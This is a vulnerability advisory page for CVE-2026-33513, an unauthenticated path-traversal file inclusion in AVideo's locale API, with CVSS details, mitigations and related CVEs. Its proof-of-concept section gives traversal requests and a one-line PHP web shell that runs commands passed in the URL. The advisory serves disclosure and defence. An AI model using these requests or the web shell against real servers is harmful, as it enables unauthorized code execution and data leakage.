Loading...
Skip to main content

CVE-2026-33513 — Vulnerability in wwbn/avideo — CVE Details

HIGH

AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)

Published March 20, 2026Updated March 25, 2026Source: osv

Summary

### Summary An unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. ### Details - Entry point: `plugin/API/get.json.php` sets `$global['bypassSameDomainCheck']=1` and merges GET/POST/JSON into `$parameters` without authentication or API secret. - Handler: `plugin/API/API.php`, method `get_api_locale()` (lines ~5009–5023): ```php $parameters['language'] = strtolower($parameters['language']); $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php"; if (!file_exists($file)) { return new ApiObject("This language does not exists"); } include $file; ``` No validation is performed; `../` traversal is accepted. - Because `include` executes PHP, any reachable PHP file is executed in the web server context. ### PoC 1. Fetch an arbitrary PHP file (no auth): ``` GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1 Host: <target> ``` Response returns the rendered About page HTML, proving traversal outside `locale/`. 2. RCE with an attacker PHP file (any writable PHP path): ``` GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami ``` If `shell.php` contains `<?php system($_GET['x']); ?>`, the response includes command output. ### Impact - Unauthenticated file inclusion of arbitrary PHP files under the web root. - Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output. - Potential RCE *if* any attacker-writable PHP file exists elsewhere (not confirmed in this build). - Affects any deployment with the API plugin enabled (default in docker-compose). ### Mitigation - Reject path separators/dots and enforce a strict allowlist of locale slugs. - `realpath` the target and ensure it stays within `$systemRootPath/locale`. - Stop using `include` for translations; load data from vetted formats (JSON/array). - Add authentication (API secret/token) to the endpoint as a secondary control.

Advisory Timeline

  • First published March 20, 2026 (206 days ago).
  • Last revised March 25, 2026 — 5 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
wwbn/avideo
packagist
10.4, 10.8, 11, 11.1 (+13 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Frequently Asked Questions

What is CVE-2026-33513?
AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP) This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.6/10).
How do I check if my project is affected by CVE-2026-33513?
CVE-2026-33513 affects wwbn/avideo. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33513 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.6

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-8fw8-q79c-fp9m

Related CVEs

  • CVE-2026-33478
    CRITICAL

    AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection

  • CVE-2026-54458
    CRITICAL

    WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin

  • CVE-2026-33716
    CRITICAL

    AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php

  • CVE-2026-29058
    CRITICAL

    WWBN AVideo is vulnerable to unauthenticated OS Command Injection via base64Url in objects/getImage.php

  • CVE-2026-33648
    HIGH

    AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path

  • CVE-2026-40909
    HIGH

    WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

  • CVE-2026-33717
    HIGH

    AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL

  • CVE-2026-60092
    MEDIUM

    AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies